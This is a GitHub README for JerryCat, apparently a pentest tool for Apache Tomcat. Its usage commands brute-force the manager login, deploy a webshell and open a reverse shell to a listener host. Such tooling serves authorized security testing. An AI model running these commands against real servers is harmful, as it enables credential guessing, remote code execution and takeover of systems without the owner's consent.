Skip to content

JerryCat is a tool that fully automates pentesting against Tomcat services🐭

Notifications You must be signed in to change notification settings

TheF0rceAwak5ns/JerryCat

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

65 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

JerryCat 🐭

Features/Mode ⚒️

Setup ✨

Clone & install dependencies

git clone https://github.com/TheF0rceAwak5ns/JerryCat.git && cd JerryCat && pip install -r requirements.txt

Usage - Unauthenticated attack

Brute Force

without a user list

python3 jerrycat.py brute http://10.10.10.10:8080/ -P resources/password-list-common-tomcat.txt

with a user list

python3 jerrycat.py brute http://10.10.10.10:8080/ -U /path/to/user/list -P resources/password-list-common-tomcat.txt

Usage - Authenticated attack

Webshell

python3 jerrycat.py exec http://10.10.10.10:8080/ -u tomcat -p s3cret

Reverse shell

python3 jerrycat.py reverse http://10.10.10.10:8080/ -u tomcat -p s3cret --lhost 10.10.10.10 --lport 4444